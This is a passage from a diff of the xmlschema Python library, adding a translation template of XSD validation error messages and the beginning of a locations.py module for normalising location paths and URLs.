xmlschema/validators/facets.py:342 xmlschema/validators/facets.py:373 +msgid "invalid restriction: {}" +msgstr "" + +#: xmlschema/validators/facets.py:281 +msgid "value has to be greater or equal than {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:311 +msgid "invalid restriction: {} is also the maximum" +msgstr "" + +#: xmlschema/validators/facets.py:317 +msgid "value has to be greater than {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:347 +msgid "value has to be less than or equal than {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:377 +msgid "invalid restriction: {} is also the minimum" +msgstr "" + +#: xmlschema/validators/facets.py:383 +msgid "value has to be lesser than {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:418 xmlschema/validators/facets.py:475 +msgid "invalid restriction: base value is lower ({})" +msgstr "" + +#: xmlschema/validators/facets.py:428 +msgid "the number of digits has to be lesser or equal than {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:456 +msgid "" +"fractionDigits facet can be applied only to types derived from xs:decimal" +msgstr "" + +#: xmlschema/validators/facets.py:470 +msgid "fractionDigits facet value must be 0 for types derived from xs:integer" +msgstr "" + +#: xmlschema/validators/facets.py:485 +msgid "the number of fraction digits has to be lesser or equal than {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:517 +msgid "invalid restriction from {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:522 +msgid "time zone required for value {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:527 +msgid "time zone prohibited for value {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:571 +msgid "value {!r} must match a notation declaration" +msgstr "" + +#: xmlschema/validators/facets.py:629 +msgid "value must be one of {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:725 +msgid "value doesn't match any pattern of {!r}" +msgstr "" + +#: xmlschema/validators/facets.py:789 +msgid "missing attribute 'test'" +msgstr "" + +#: xmlschema/validators/facets.py:819 +msgid "value is not true with test path {!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:82 +msgid "unknown attribute {!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:97 +msgid "referenced attribute has a different fixed value {!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:102 +msgid "attribute {!r} is not allowed when attribute reference is used" +msgstr "" + +#: xmlschema/validators/attributes.py:118 +msgid "an attribute name must be different from 'xmlns'" +msgstr "" + +#: xmlschema/validators/attributes.py:125 +#, python-format +msgid "cannot add attributes in %r namespace" +msgstr "" + +#: xmlschema/validators/attributes.py:146 +msgid "ambiguous type definition for XSD attribute" +msgstr "" + +#: xmlschema/validators/attributes.py:158 +msgid "XSD attribute's type must be a simpleType" +msgstr "" + +#: xmlschema/validators/attributes.py:169 +msgid "" +"the attribute 'use' must be 'optional' if the attribute 'default' is present" +msgstr "" + +#: xmlschema/validators/attributes.py:174 +msgid "default value {!r} is not compatible with attribute's type" +msgstr "" + +#: xmlschema/validators/attributes.py:177 +msgid "xs:ID key attributes cannot have a default value" +msgstr "" + +#: xmlschema/validators/attributes.py:183 +msgid "fixed value {!r} is not compatible with attribute's type" +msgstr "" + +#: xmlschema/validators/attributes.py:186 +msgid "xs:ID key attributes cannot have a fixed value" +msgstr "" + +#: xmlschema/validators/attributes.py:249 +msgid "attribute {0!r} has a fixed value {1!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:254 +msgid "attribute {0}={1!r}: {2}" +msgstr "" + +#: xmlschema/validators/attributes.py:319 +msgid "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" +msgstr "" + +#: xmlschema/validators/attributes.py:413 +msgid "more anyAttribute declarations in the same attribute group" +msgstr "" + +#: xmlschema/validators/attributes.py:416 +msgid "another declaration after anyAttribute" +msgstr "" + +#: xmlschema/validators/attributes.py:431 +msgid "multiple declaration for attribute {!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:440 +msgid "the attribute 'ref' is required in a local attributeGroup" +msgstr "" + +#: xmlschema/validators/attributes.py:450 +msgid "duplicated attributeGroup {!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:456 +msgid "in a redefinition the reference to itself must be the first" +msgstr "" + +#: xmlschema/validators/attributes.py:467 +msgid "attributeGroup ref={!r} is not in the redefined group" +msgstr "" + +#: xmlschema/validators/attributes.py:471 +msgid "Circular attribute groups not allowed in XSD 1.0" +msgstr "" + +#: xmlschema/validators/attributes.py:479 +msgid "unknown attribute group {!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:488 +msgid "multiple declaration of attribute {!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:497 +msgid "Circular reference found between attribute groups {0!r} and {1!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:502 +msgid "(attribute | attributeGroup) expected, found {!r}." +msgstr "" + +#: xmlschema/validators/attributes.py:513 +msgid "Unexpected attribute {!r} in restriction" +msgstr "" + +#: xmlschema/validators/attributes.py:529 +msgid "Attribute wildcard is not a restriction of the base wildcard" +msgstr "" + +#: xmlschema/validators/attributes.py:539 +msgid "Attribute type is not a restriction of the base attribute type" +msgstr "" + +#: xmlschema/validators/attributes.py:544 +msgid "Attribute {!r}: unmatched attribute use in restriction" +msgstr "" + +#: xmlschema/validators/attributes.py:550 +msgid "Attribute {!r}: derived attribute has a different fixed value" +msgstr "" + +#: xmlschema/validators/attributes.py:554 +msgid "Attribute {!r}: 'inheritable' property change in restriction" +msgstr "" + +#: xmlschema/validators/attributes.py:568 +msgid "Missing required attribute {!r} in redefinition restriction" +msgstr "" + +#: xmlschema/validators/attributes.py:573 +msgid "Attribute {!r}: unmatched attribute use in redefinition" +msgstr "" + +#: xmlschema/validators/attributes.py:576 +msgid "Attribute {!r}: redefinition remove fixed constraint" +msgstr "" + +#: xmlschema/validators/attributes.py:585 +msgid "Redefinition restriction contains additional attribute {!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:589 +msgid "Wrong attribute order in redefinition restriction" +msgstr "" + +#: xmlschema/validators/attributes.py:607 +msgid "multiple ID attributes not allowed for XSD 1.0" +msgstr "" + +#: xmlschema/validators/attributes.py:660 +#: xmlschema/validators/attributes.py:738 +msgid "missing required attribute {!r}" +msgstr "" + +#: xmlschema/validators/attributes.py:695 +#: xmlschema/validators/attributes.py:760 +#, python-format +msgid "%r is not an attribute of the XSI namespace" +msgstr "" + +#: xmlschema/validators/attributes.py:703 +#: xmlschema/validators/attributes.py:768 +#, python-format +msgid "%r attribute not allowed for element" +msgstr "" + +#: xmlschema/validators/attributes.py:709 +#, python-format +msgid "use of attribute %r is prohibited" +msgstr "" + +#: xmlschema/validators/exceptions.py:342 +#, python-format +msgid "The content of element %r is not complete." +msgstr "" + +#: xmlschema/validators/exceptions.py:345 +#, python-format +msgid "Unexpected child with tag %r at position %d." +msgstr "" + +#: xmlschema/validators/exceptions.py:372 +#, python-format +msgid " Tag (%s) expected." +msgstr "" + +#: xmlschema/validators/exceptions.py:374 +#, python-format +msgid " Tag %s expected." +msgstr "" + +#: xmlschema/validators/exceptions.py:376 +#, python-format +msgid " Tag %r expected." +msgstr "" + +#: xmlschema/validators/groups.py:355 +msgid "{!r} is not a particle of the model group" +msgstr "" + +#: xmlschema/validators/groups.py:413 xmlschema/validators/groups.py:455 +msgid "attribute 'name' not allowed in a local group" +msgstr "" + +#: xmlschema/validators/groups.py:422 +#, python-format +msgid "missing group %r" +msgstr "" + +#: xmlschema/validators/groups.py:429 xmlschema/validators/groups.py:485 +msgid "maxOccurs must be 1 for 'all' model groups" +msgstr "" + +#: xmlschema/validators/groups.py:432 xmlschema/validators/groups.py:488 +#: xmlschema/validators/groups.py:1285 +msgid "minOccurs must be (0 | 1) for 'all' model groups" +msgstr "" + +#: xmlschema/validators/groups.py:435 +msgid "in XSD 1.0 an 'all' model group cannot be nested" +msgstr "" + +#: xmlschema/validators/groups.py:441 xmlschema/validators/groups.py:523 +#: xmlschema/validators/groups.py:1317 +#, python-format +msgid "Circular definition detected for group %r" +msgstr "" + +#: xmlschema/validators/groups.py:459 xmlschema/validators/groups.py:469 +msgid "attribute 'minOccurs' not allowed in a global group" +msgstr "" + +#: xmlschema/validators/groups.py:462 xmlschema/validators/groups.py:472 +msgid "attribute 'maxOccurs' not allowed in a global group" +msgstr "" + +#: xmlschema/validators/groups.py:499 +msgid "'all' model can contain only elements" +msgstr "" + +#: xmlschema/validators/groups.py:509 xmlschema/validators/groups.py:1301 +msgid "missing attribute 'ref' in local group" +msgstr "" + +#: xmlschema/validators/groups.py:518 +msgid "'all' model can appears only at 1st level of a model group" +msgstr "" + +#: xmlschema/validators/groups.py:527 xmlschema/validators/groups.py:1321 +msgid "Redefined group reference cannot have minOccurs/maxOccurs other than 1" +msgstr "" + +#: xmlschema/validators/groups.py:821 +msgid "" +"Element Declarations Consistent violation between {0!r} and {1!r}: match the " +"same name but with different types" +msgstr "" + +#: xmlschema/validators/groups.py:835 +msgid "{0!r} and {1!r} overlap and are in the same {2!r} group" +msgstr "" + +#: xmlschema/validators/groups.py:847 +msgid "Unique Particle Attribution violation between {0!r} and {1!r}" +msgstr "" + +#: xmlschema/validators/groups.py:860 +#, python-format +msgid "substitution of %r is blocked" +msgstr "" + +#: xmlschema/validators/groups.py:909 +msgid "usage of {0!r} with type {1} is blocked by head element" +msgstr "" + +#: xmlschema/validators/groups.py:934 +msgid "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" +msgstr "" + +#: xmlschema/validators/groups.py:940 +msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}." +msgstr "" + +#: xmlschema/validators/groups.py:970 +msgid "an empty 'choice' group with minOccurs > 0 cannot validate any content" +msgstr "" + +#: xmlschema/validators/groups.py:982 xmlschema/validators/groups.py:1242 +msgid "character data between child elements not allowed" +msgstr "" + +#: xmlschema/validators/groups.py:995 +#, python-format +msgid "XML data depth exceeded (MAX_XML_DEPTH=%r)" +msgstr "" + +#: xmlschema/validators/groups.py:1202 +msgid "{!r} does not match any declared element of the model group" +msgstr "" + +#: xmlschema/validators/groups.py:1205 +msgid "{0} has an unknown prefix {1!r}" +msgstr "" + +#: xmlschema/validators/groups.py:1238 +msgid "wrong content type {!r}" +msgstr "" + +#: xmlschema/validators/groups.py:1282 +msgid "maxOccurs must be (0 | 1) for 'all' model groups" +msgstr "" + +#: xmlschema/validators/groups.py:1311 +#, python-brace-format +msgid "an xs:{0} group cannot include a reference to an xs:{1} group" +msgstr "" + +#: xmlschema/validators/wildcards.py:76 +#, python-format +msgid "wrong value %r in 'namespace' attribute" +msgstr "" + +#: xmlschema/validators/wildcards.py:85 +#, python-format +msgid "wrong value %r for 'processContents' attribute" +msgstr "" + +#: xmlschema/validators/wildcards.py:94 +msgid "'namespace' and 'notNamespace' attributes are mutually exclusive" +msgstr "" + +#: xmlschema/validators/wildcards.py:105 +#, python-format +msgid "wrong value %r in 'notNamespace' attribute" +msgstr "" + +#: xmlschema/validators/wildcards.py:121 +msgid "wrong value for 'notQName' attribute" +msgstr "" + +#: xmlschema/validators/wildcards.py:128 +#, python-format +msgid "unmapped QName in 'notQName' attribute: %s" +msgstr "" + +#: xmlschema/validators/wildcards.py:132 +#, python-format +msgid "wrong QName format in 'notQName' attribute: %s" +msgstr "" + +#: xmlschema/validators/wildcards.py:140 +msgid "the namespace of each QName in notQName is allowed by notNamespace" +msgstr "" + +#: xmlschema/validators/wildcards.py:144 +msgid "names in notQName must be in namespaces that are allowed" +msgstr "" + +#: xmlschema/validators/wildcards.py:319 +msgid "not expressible wildcard namespace union: {0!r} V {1!r}:" +msgstr "" + +#: xmlschema/validators/wildcards.py:473 xmlschema/validators/wildcards.py:515 +msgid "element {!r} is not allowed here" +msgstr "" + +#: xmlschema/validators/wildcards.py:651 xmlschema/validators/wildcards.py:681 +#, python-format +msgid "attribute %r not allowed" +msgstr "" + +#: xmlschema/validators/wildcards.py:663 xmlschema/validators/wildcards.py:693 +#, python-format +msgid "attribute %r not found" +msgstr "" + +#: xmlschema/validators/wildcards.py:670 xmlschema/validators/wildcards.py:700 +msgid "unavailable namespace {!r}" +msgstr "" + +#: xmlschema/validators/wildcards.py:857 +#, python-format +msgid "wrong value %r for 'mode' attribute" +msgstr "" + +#: xmlschema/validators/wildcards.py:863 +msgid "" +"an openContent with mode='none' cannot have an <xs:any> child declaration" +msgstr "" + +#: xmlschema/validators/wildcards.py:867 +msgid "an <xs:any> child declaration is required" +msgstr "" + +#: xmlschema/validators/wildcards.py:908 +msgid "defaultOpenContent must be a child of the schema" +msgstr "" + +#: xmlschema/validators/wildcards.py:911 +msgid "the attribute 'mode' of a defaultOpenContent cannot be 'none'" +msgstr "" + +#: xmlschema/validators/wildcards.py:914 +msgid "a defaultOpenContent declaration cannot be empty" +msgstr "" + +#: xmlschema/validators/schemas.py:156 +msgid "XSD_VERSION must be '1.0' or '1.1'" +msgstr "" + +#: xmlschema/validators/schemas.py:336 +msgid "{!r} is not a valid loglevel" +msgstr "" + +#: xmlschema/validators/schemas.py:352 +msgid "no XSD source provided!" +msgstr "" + +#: xmlschema/validators/schemas.py:380 +msgid "the attribute 'targetNamespace' cannot be an empty string" +msgstr "" + +#: xmlschema/validators/schemas.py:383 +msgid "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" +msgstr "" + +#: xmlschema/validators/schemas.py:460 +#, python-format +msgid "'global_maps' argument must be an %r instance" +msgstr "" + +#: xmlschema/validators/schemas.py:542 +msgid "cannot change the global maps instance of a meta-schema" +msgstr "" + +#: xmlschema/validators/schemas.py:675 xmlschema/validators/schemas.py:970 +#, python-format +msgid "meta-schema unavailable for %r" +msgstr "" + +#: xmlschema/validators/schemas.py:682 +msgid "missing XSD namespace in meta-schema" +msgstr "" + +#: xmlschema/validators/schemas.py:754 +msgid "Missing meta-schema source URL" +msgstr "" + +#: xmlschema/validators/schemas.py:766 +msgid "" +"The argument 'base_schemas' must be a dictionary or a sequence of couples" +msgstr "" + +#: xmlschema/validators/schemas.py:803 xmlschema/validators/schemas.py:815 +msgid "(restriction | list | union) expected" +msgstr "" + +#: xmlschema/validators/schemas.py:826 +msgid "missing attribute 'name' in a global simpleType" +msgstr "" + +#: xmlschema/validators/schemas.py:831 +msgid "attribute 'name' not allowed for a local simpleType" +msgstr "" + +#: xmlschema/validators/schemas.py:875 +msgid "'model' argument must be (sequence | choice | all)" +msgstr "" + +#: xmlschema/validators/schemas.py:990 +#, python-format +msgid "schema %r is not built" +msgstr "" + +#: xmlschema/validators/schemas.py:1095 +msgid "the namespace {!r} is not loaded" +msgstr "" + +#: xmlschema/validators/schemas.py:1117 +msgid "'converter' argument must be a {0!r} subclass or instance: {1!r}" +msgstr "" + +#: xmlschema/validators/schemas.py:1172 +msgid "cannot include schema {0!r}: {1}" +msgstr "" + +#: xmlschema/validators/schemas.py:1186 +#, python-format +msgid "Redefine schema failed: %s" +msgstr "" + +#: xmlschema/validators/schemas.py:1191 +msgid "cannot redefine schema {0!r}: {1}" +msgstr "" + +#: xmlschema/validators/schemas.py:1207 +#, python-format +msgid "Override schema failed: %s" +msgstr "" + +#: xmlschema/validators/schemas.py:1269 +msgid "" +"if the 'namespace' attribute is not present on the import statement then the " +"imported schema must have a 'targetNamespace'" +msgstr "" + +#: xmlschema/validators/schemas.py:1275 +msgid "" +"the attribute 'namespace' must be different from schema's 'targetNamespace'" +msgstr "" + +#: xmlschema/validators/schemas.py:1322 +msgid "cannot import namespace {0!r}: {1}" +msgstr "" + +#: xmlschema/validators/schemas.py:1324 +#, python-format +msgid "cannot import chameleon schema: %s" +msgstr "" + +#: xmlschema/validators/schemas.py:1388 +msgid "imported schema {0!r} has an unmatched namespace {1!r}" +msgstr "" + +#: xmlschema/validators/schemas.py:1435 +msgid "target directory {} is not empty" +msgstr "" + +#: xmlschema/validators/schemas.py:1438 +msgid "target {} is not a directory" +msgstr "" + +#: xmlschema/validators/schemas.py:1441 +msgid "target parent directory {} does not exist" +msgstr "" + +#: xmlschema/validators/schemas.py:1444 +msgid "target parent {} is not a directory" +msgstr "" + +#: xmlschema/validators/schemas.py:1537 +msgid "invalid attribute vc:minVersion value" +msgstr "" + +#: xmlschema/validators/schemas.py:1546 +msgid "invalid attribute vc:maxVersion value" +msgstr "" + +#: xmlschema/validators/schemas.py:1622 xmlschema/validators/schemas.py:1629 +#: xmlschema/validators/schemas.py:1635 +msgid "{!r} is not a valid value for xs:QName" +msgstr "" + +#: xmlschema/validators/schemas.py:1641 +msgid "prefix {!r} not found in namespace map" +msgstr "" + +#: xmlschema/validators/schemas.py:1648 +msgid "" +"the QName {!r} is mapped to no namespace, but this requires that there is an " +"xs:import statement in the schema without the 'namespace' attribute." +msgstr "" + +#: xmlschema/validators/schemas.py:1657 +msgid "" +"the QName {0!r} is mapped to the namespace {1!r}, but this namespace has not " +"an xs:import statement in the schema." +msgstr "" + +#: xmlschema/validators/schemas.py:1798 xmlschema/validators/schemas.py:1852 +#: xmlschema/validators/schemas.py:1997 +msgid "{!r} is not an element of the schema" +msgstr "" + +#: xmlschema/validators/schemas.py:1826 +#, python-format +msgid "IDREF %r not found in XML document" +msgstr "" + +#: xmlschema/validators/schemas.py:2076 +msgid "encoding needs at least one XSD element declaration" +msgstr "" + +#: xmlschema/validators/schemas.py:2110 +#, python-format +msgid "the path %r doesn't match any element of the schema!" +msgstr "" + +#: xmlschema/validators/schemas.py:2112 +msgid "" +"unable to select an element for decoding data, provide a valid 'path' " +"argument." +msgstr "" + +#: xmlschema/validators/simple_types.py:133 +msgid "facets not allowed for a direct derivation of xs:anySimpleType" +msgstr "" + +#: xmlschema/validators/simple_types.py:137 +msgid "facets not allowed for a direct content derivation of xs:anySimpleType" +msgstr "" + +#: xmlschema/validators/simple_types.py:143 +msgid "one or more facets are not applicable, admitted set is {!r}" +msgstr "" + +#: xmlschema/validators/simple_types.py:149 +#, python-format +msgid "facet group must have the same base type: %r" +msgstr "" + +#: xmlschema/validators/simple_types.py:159 +msgid "'length' value must be non a negative integer" +msgstr "" + +#: xmlschema/validators/simple_types.py:163 +msgid "'minLength' value must be less than or equal to 'length'" +msgstr "" + +#: xmlschema/validators/simple_types.py:170 +msgid "cannot specify both 'length' and 'minLength'" +msgstr "" + +#: xmlschema/validators/simple_types.py:175 +msgid "'maxLength' value must be greater or equal to 'length'" +msgstr "" + +#: xmlschema/validators/simple_types.py:183 +msgid "cannot specify both 'length' and 'maxLength'" +msgstr "" + +#: xmlschema/validators/simple_types.py:192 +msgid "'minLength' value must be a non negative integer" +msgstr "" + +#: xmlschema/validators/simple_types.py:195 +msgid "'maxLength' value is less than 'minLength'" +msgstr "" + +#: xmlschema/validators/simple_types.py:198 +msgid "'minLength' has a lesser value than parent" +msgstr "" + +#: xmlschema/validators/simple_types.py:201 +msgid "'minLength' has a greater value than parent 'maxLength'" +msgstr "" + +#: xmlschema/validators/simple_types.py:206 +msgid "'maxLength' value must be a non negative integer" +msgstr "" + +#: xmlschema/validators/simple_types.py:209 +msgid "'maxLength' has a lesser value than parent 'minLength'" +msgstr "" + +#: xmlschema/validators/simple_types.py:212 +msgid "'maxLength' has a greater value than parent" +msgstr "" + +#: xmlschema/validators/simple_types.py:223 +msgid "cannot specify both 'minInclusive' and 'minExclusive'" +msgstr "" + +#: xmlschema/validators/simple_types.py:226 +msgid "'minInclusive' must be less or equal to 'maxInclusive'" +msgstr "" + +#: xmlschema/validators/simple_types.py:229 +msgid "'minInclusive' must be lesser than 'maxExclusive'" +msgstr "" + +#: xmlschema/validators/simple_types.py:234 +msgid "'minExclusive' must be lesser than 'maxInclusive'" +msgstr "" + +#: xmlschema/validators/simple_types.py:237 +msgid "'minExclusive' must be less or equal to 'maxExclusive'" +msgstr "" + +#: xmlschema/validators/simple_types.py:241 +msgid "cannot specify both 'maxInclusive' and 'maxExclusive'" +msgstr "" + +#: xmlschema/validators/simple_types.py:247 +msgid "" +"fractionDigits facet value cannot be lesser than the value of totalDigits " +"facet" +msgstr "" + +#: xmlschema/validators/simple_types.py:253 +msgid "" +"totalDigits facet value cannot be greater than the value of the same facet " +"in the base type" +msgstr "" + +#: xmlschema/validators/simple_types.py:262 +#, python-format +msgid "" +"the explicitTimezone facet value cannot be changed if the base type has the " +"same facet with value %r" +msgstr "" + +#: xmlschema/validators/simple_types.py:460 +msgid "a {0!r} or {1!r} object required" +msgstr "" + +#: xmlschema/validators/simple_types.py:615 +msgid "value is not an instance of {!r}" +msgstr "" + +#: xmlschema/validators/simple_types.py:640 +#: xmlschema/validators/simple_types.py:753 +#: xmlschema/validators/simple_types.py:1107 +msgid "invalid value {!r}" +msgstr "" + +#: xmlschema/validators/simple_types.py:665 +#, python-format +msgid "unmapped prefix %r in a QName" +msgstr "" + +#: xmlschema/validators/simple_types.py:699 +#: xmlschema/validators/simple_types.py:711 +msgid "duplicated xs:ID value {!r}" +msgstr "" + +#: xmlschema/validators/simple_types.py:706 +msgid "no more than one attribute of type ID should be present in an element" +msgstr "" + +#: xmlschema/validators/simple_types.py:731 +msgid "boolean value {0!r} requires a {1!r} decoder" +msgstr "" + +#: xmlschema/validators/simple_types.py:736 +msgid "{0!r} is not an instance of {1!r}" +msgstr "" + +#: xmlschema/validators/simple_types.py:824 +#, python-format +msgid "%r: a list must be based on atomic data types" +msgstr "" + +#: xmlschema/validators/simple_types.py:843 +msgid "ambiguous list type declaration" +msgstr "" + +#: xmlschema/validators/simple_types.py:851 +msgid "missing list type declaration" +msgstr "" + +#: xmlschema/validators/simple_types.py:864 +msgid "circular definition found for type {!r}" +msgstr "" + +#: xmlschema/validators/simple_types.py:869 +#, python-format +msgid "'final' value of the itemType %r forbids derivation by list" +msgstr "" + +#: xmlschema/validators/simple_types.py:873 +#: xmlschema/validators/simple_types.py:1048 +#: xmlschema/validators/simple_types.py:1335 +msgid "cannot use xs:anyAtomicType as base type of a user-defined type" +msgstr "" + +#: xmlschema/validators/simple_types.py:996 +#, python-format +msgid "wrong value %r for attribute 'white_space'" +msgstr "" + +#: xmlschema/validators/simple_types.py:1031 +msgid "circular definition found on xs:union type {!r}" +msgstr "" + +#: xmlschema/validators/simple_types.py:1035 +msgid "a {0!r} required, not {1!r}" +msgstr "" + +#: xmlschema/validators/simple_types.py:1039 +#, python-format +msgid "'final' value of the memberTypes %r forbids derivation by union" +msgstr "" + +#: xmlschema/validators/simple_types.py:1045 +msgid "missing xs:union type declarations" +msgstr "" + +#: xmlschema/validators/simple_types.py:1128 +#, python-format +msgid "no type suitable for decoding the values %r" +msgstr "" + +#: xmlschema/validators/simple_types.py:1162 +msgid "no type suitable for encoding the object" +msgstr "" + +#: xmlschema/validators/simple_types.py:1210 +msgid "'name' attribute in a local simpleType definition" +msgstr "" + +#: xmlschema/validators/simple_types.py:1252 +#, python-format +msgid "wrong base type %r, an atomic type required" +msgstr "" + +#: xmlschema/validators/simple_types.py:1258 +msgid "an xs:simpleType definition expected" +msgstr "" + +#: xmlschema/validators/simple_types.py:1263 +msgid "" +"when a complexType with simpleContent restricts a complexType with mixed and " +"with emptiable content then a simpleType child declaration is required" +msgstr "" + +#: xmlschema/validators/simple_types.py:1268 +#, python-format +msgid "simpleType restriction of %r is not allowed" +msgstr "" + +#: xmlschema/validators/simple_types.py:1277 +msgid "unexpected tag after attribute declarations" +msgstr "" + +#: xmlschema/validators/simple_types.py:1282 +msgid "duplicated simpleType declaration" +msgstr "" + +#: xmlschema/validators/simple_types.py:1304 +msgid "restriction with 'base' attribute and simpleType declaration" +msgstr "" + +#: xmlschema/validators/simple_types.py:1312 +#, python-format +msgid "unexpected tag %r in restriction" +msgstr "" + +#: xmlschema/validators/simple_types.py:1318 +#, python-format +msgid "multiple %r constraint facet" +msgstr "" + +#: xmlschema/validators/simple_types.py:1330 +msgid "missing base type in restriction" +msgstr "" + +#: xmlschema/validators/simple_types.py:1332 +#, python-format +msgid "'final' value of the baseType %r forbids derivation by restriction" +msgstr "" + +#: xmlschema/validators/simple_types.py:1381 +#: xmlschema/validators/simple_types.py:1430 +#, python-format +msgid "" +"wrong base type %r: a simpleType or a complexType with simple or mixed " +"content required" +msgstr "" + +#: xmlschema/validators/identities.py:86 +msgid "'xpath' attribute required" +msgstr "" + +#: xmlschema/validators/identities.py:98 +msgid "invalid XPath expression for an {}" +msgstr "" + +#: xmlschema/validators/identities.py:182 +msgid "missing required attribute 'name'" +msgstr "" + +#: xmlschema/validators/identities.py:190 +msgid "missing 'selector' declaration" +msgstr "" + +#: xmlschema/validators/identities.py:202 +msgid "unknown identity constraint {!r}" +msgstr "" + +#: xmlschema/validators/identities.py:207 +msgid "attribute 'ref' points to a different kind constraint" +msgstr "" + +#: xmlschema/validators/identities.py:296 +msgid "missing key field {0!r} for {1!r}" +msgstr "" + +#: xmlschema/validators/identities.py:304 +#, python-format +msgid "%r field doesn't have a simple type!" +msgstr "" + +#: xmlschema/validators/identities.py:325 +#, python-format +msgid "%r field selects multiple values!" +msgstr "" + +#: xmlschema/validators/identities.py:359 +msgid "missing required attribute 'refer'" +msgstr "" + +#: xmlschema/validators/identities.py:381 +#, python-format +msgid "key/unique identity constraint %r is missing" +msgstr "" + +#: xmlschema/validators/identities.py:386 +#, python-format +msgid "reference to a non key/unique identity constraint %r" +msgstr "" + +#: xmlschema/validators/identities.py:389 +msgid "field cardinality mismatch between {0!r} and {1!r}" +msgstr "" + +#: xmlschema/validators/identities.py:459 +msgid "duplicated value {0!r} for {1!r}" +msgstr "" + +#: xmlschema/validators/xsdbase.py:51 +#, python-format +msgid "validation mode can be 'strict', 'lax' or 'skip': %r" +msgstr "" + +#: xmlschema/validators/xsdbase.py:254 +msgid "" +"wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | " +"{1})." +msgstr "" + +#: xmlschema/validators/xsdbase.py:405 +#, python-format +msgid "missing attribute 'name' in a global %r" +msgstr "" + +#: xmlschema/validators/xsdbase.py:408 +#, python-format +msgid "missing both attributes 'name' and 'ref' in local %r" +msgstr "" + +#: xmlschema/validators/xsdbase.py:411 +msgid "attributes 'name' and 'ref' are mutually exclusive" +msgstr "" + +#: xmlschema/validators/xsdbase.py:414 +#, python-format +msgid "attribute 'ref' not allowed in a global %r" +msgstr "" + +#: xmlschema/validators/xsdbase.py:423 +msgid "a reference component cannot have child definitions/declarations" +msgstr "" + +#: xmlschema/validators/xsdbase.py:438 +msgid "too many XSD components, unexpected {0!r} found at position {1}" +msgstr "" + +#: xmlschema/validators/xsdbase.py:454 +msgid "" +"attribute 'name' must be present when 'targetNamespace' attribute is provided" +msgstr "" + +#: xmlschema/validators/xsdbase.py:458 +msgid "" +"attribute 'form' must be absent when 'targetNamespace' attribute is provided" +msgstr "" + +#: xmlschema/validators/xsdbase.py:463 +#, python-format +msgid "a global %s must have the same namespace as its parent schema" +msgstr "" + +#: xmlschema/validators/xsdbase.py:471 +msgid "" +"a declaration contained in a global complexType must have the same namespace " +"as its parent schema" +msgstr "" + +#: xmlschema/validators/xsdbase.py:591 +msgid "parent circularity from {}" +msgstr "" + +#: xmlschema/validators/helpers.py:44 +#, python-format +msgid "wrong value %r for attribute %r" +msgstr "" + +#: xmlschema/validators/helpers.py:59 +msgid "value is not a valid xs:decimal" +msgstr "" + +#: xmlschema/validators/helpers.py:65 +msgid "value is not an xs:QName" +msgstr "" + +#: xmlschema/validators/helpers.py:71 xmlschema/validators/helpers.py:77 +#: xmlschema/validators/helpers.py:83 xmlschema/validators/helpers.py:89 +#: xmlschema/validators/helpers.py:95 xmlschema/validators/helpers.py:101 +#: xmlschema/validators/helpers.py:107 xmlschema/validators/helpers.py:113 +msgid "value must be {:s}" +msgstr "" + +#: xmlschema/validators/helpers.py:119 +msgid "value must be negative" +msgstr "" + +#: xmlschema/validators/helpers.py:125 +msgid "value must be positive" +msgstr "" + +#: xmlschema/validators/helpers.py:131 +msgid "value must be non positive" +msgstr "" + +#: xmlschema/validators/helpers.py:137 +msgid "value must be non negative" +msgstr "" + +#: xmlschema/validators/helpers.py:144 +msgid "not an hexadecimal number" +msgstr "" + +#: xmlschema/validators/helpers.py:157 +msgid "not a base64 encoding" +msgstr "" + +#: xmlschema/validators/helpers.py:162 +msgid "no value is allowed for xs:error type" +msgstr "" + +#: xmlschema/validators/helpers.py:174 +msgid "{!r} is not a boolean value" +msgstr "" diff --git a/xmlschema/locations.py b/xmlschema/locations.py new file mode 100644 index 0000000..622d425 --- /dev/null +++ b/xmlschema/locations.py @@ -0,0 +1,436 @@ +# +# Copyright (c), 2016-2023, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato <brunato@sissa.it> +# +import os.path +import ntpath +import posixpath +import platform +import string +from collections.abc import MutableMapping +from pathlib import Path, PurePath, PurePosixPath, PureWindowsPath +from typing import Optional, Iterable +from urllib.parse import urlsplit, quote, quote_plus, unquote, unquote_plus, quote_from_bytes + +from .exceptions import XMLSchemaValueError +from .aliases import NormalizedLocationsType, LocationsType + + +DRIVE_LETTERS = frozenset(string.ascii_letters) + +URL_SCHEMES = frozenset(('file', 'http', 'https', 'ftp', 'sftp', 'rsync', + 'svn', 'svn+ssh', 'nfs', 'git', 'git+ssh', 'ws', 'wss')) + + +class LocationPath(PurePath): + """ + A version of pathlib.PurePath with an enhanced URI conversion and for + the normalization of location paths. + + A system independent path normalization without resolution is essential for + processing resource locations, so the use or base class internals can be + necessary for using pathlib. Despite the URL path has to be considered + case-sensitive (ref. https://www.w3.org/TR/WD-html40-970708/htmlweb.html) + this not always happen. On the other hand the initial source is often a + filepath, so the better choice is to maintain location paths still related + to the operating system. + """ + _path_module = os.path + + def __new__(cls, *args: str) -> 'LocationPath': + if cls is LocationPath: + cls = LocationWindowsPath if os.name == 'nt' else LocationPosixPath + return super().__new__(cls, *args) # type: 